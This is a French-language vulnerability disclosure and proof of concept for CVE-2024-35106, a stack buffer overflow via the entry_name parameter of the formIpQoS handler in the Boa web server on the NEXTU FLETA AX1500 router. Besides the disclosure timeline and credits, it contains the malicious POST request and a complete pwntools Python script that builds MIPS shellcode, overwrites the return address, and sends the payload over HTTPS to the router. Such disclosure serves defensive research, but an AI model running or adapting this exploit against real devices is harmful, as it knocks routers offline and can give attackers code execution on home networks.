
Ce document décrit comment l'exploit a été réalisé sur le routeur Wi-Fi EZNET FLETA via la vulnérabilité CVE-2024-35106.
[Identifiant CVE] CVE-2024-35106
[Vendeur du produit] NEXTU
[Produit] Routeur Wifi6 FLATA AX1500
[Version] 1.0.3
[Type de vulnérabilité] Débordement de tampon
Le routeur fonctionne sur une architecture MIPS basée sur un chipset Realtek et en little-endian.
La version du firmware du routeur est la v1.0.3.
Ce routeur utilise le serveur web embarqué Boa, dont la dernière version date de 2005. Cependant, ce routeur utilise le serveur web Boa pour le service de page web d'administration qui contrôle le firmware du routeur.
Les conditions requises pour déclencher la vulnérabilité sont les suivantes :
Un débordement de tampon de pile se produit en raison de l'absence de vérification de la longueur en octets du nom de la règle QoS IP lors de la configuration de la QoS pour une IP interne sur la page d'administration web du routeur.
Lorsque les paramètres de requête de configuration QoS IP sont transmis à la fonction de gestion formIpQoS de Boa, le gestionnaire extrait la longueur en octets du paramètre entry_name et le copie dans la variable acStack_1c0 à l'aide de la fonction strcpy().

Dans cette fonction, la fonction strcpy est utilisée pour copier le tampon sans vérifier la taille du tampon.

Étant donné que la variable acStack_1c0, qui stocke le binaire du paramètre entry_name copié, est fixée à 16 octets, l'utilisation de la fonction strcpy() — qui ne limite pas la taille des données copiées — entraînera un débordement de tampon.


La requête POST et les paramètres du vecteur d'attaque sont les suivants.
POST /boafrm/formIpQoS
BODY
enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=[ADD ARBITRARY CODE AREA]
Un attaquant prépare un binaire contenant deux éléments, un code binaire arbitraire et une adresse arbitraire, et le place dans le paramètre entry_name de la requête POST.
Ainsi, l'adresse RET, située dans la mémoire de pile du gestionnaire formIpQoS, est écrasée par une adresse arbitraire en raison du débordement de pile.
(0x7f8548cc est l'adresse RET de pile du gestionnaire formIpQoS)
Cependant, comme la fonction de gestion doit terminer son exécution normalement, 10 ensembles de règles QoS IP doivent être enregistrés à l'avance.

from pwn import *
from hackebds import *
def shutdown_shell_code():
context.update(arch='mips', os='linux', bits=32, endian='little')
cmd = "/bin/sh"
args = ["autoreboot"]
asmcode = shellcraft.mips.linux.execve(cmd, args, 0) + shellcraft.mips.linux.exit()
shellcode = asm(asmcode)
return shellcode
power_off_code = shutdown_shell_code()
gap_code = (b'A') * 0x138
# This is the area that overwrites the RET region. You can place the address to which you want to redirect the execution flow.
# For example I fixed address as 0x7f854710
RET_address = (b'\x10\x47\x85\x7f')
stack_gap = (b'C') * 0x40
print("power_off_code_length")
print(len(power_off_code))
final_code = power_off_code + gap_code + RET_address + stack_gap
import socket
import ssl
# Server Address and Port
HOST = '192.168.1.254'
PORT = 443
# Create an SSL socket for HTTPS connection
context = ssl.create_default_context()
context.set_ciphers('HIGH:!DH:!aNULL')
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
with socket.create_connection((HOST, PORT)) as sock:
with context.wrap_socket(sock, server_hostname=HOST) as ssock:
# Prepare the shellcode as bytes (e.g., b'\x00\x01\x02'; replace with appropriate values for actual use)
# parameter for evade verification
send_byte = b"enabled=ON&automaticUplinkSpeed=ON&automaticDownlinkSpeed=ON&addressType=0&ipversion=0&protocol=0&ipStart=192.168.1.5&ipEnd=192.168.1.5&localPortStart=1234&localPortEnd=1234&rmt_ipStart=&rmt_ipEnd=&rmt_portStart=&rmt_portEnd=&l7_protocol=Disable&mode=1&bandwidth=200&bandwidth_downlink=200&remark_dscp=&save_apply=%EC%A0%80%EC%9E%A5+%ED%9B%84+%EC%A0%81%EC%9A%A9&addQosFlag=1&lan_mask=255.255.255.0&submit-url=%2Fip_qos.htm&entry_name=" + final_code
# POST request headers
headers = b"POST /boafrm/formIpQoS HTTP/1.1\r\n" \
b"Host: " + HOST.encode('utf-8') + b"\r\n" \
b"Content-Type: application/octet-stream\r\n" \
b"Content-Length: " + str(len(send_byte)).encode(
'utf-8') + b"\r\nConnection: close\r\n\r\n"
# Send request (combine headers and body)
ssock.send(headers + send_byte)
# Receive response
response = b""
while True:
data = ssock.recv(1024)
if not data:
break
response += data
#Print response
print(response.decode('utf-8'))
Notez que l'exécution de ce POC pour la vulnérabilité provoquera certainement un DoS. Cependant, une exécution de code à distance arbitraire peut ne pas se produire.
Cette vulnérabilité peut être exploitée pour des attaques DoS et des attaques RCE potentielles.
2024-05-16 : Attribution du numéro CVE - CVE-2024-35106
2024-05-16 : Signalement des vulnérabilités aux fabricants
2024-06-05 : Réponse des fabricants concernant les vulnérabilités
Ku In Hoe
Professeur assistant Seonghoon Jeong (Sookmyung Women’s University)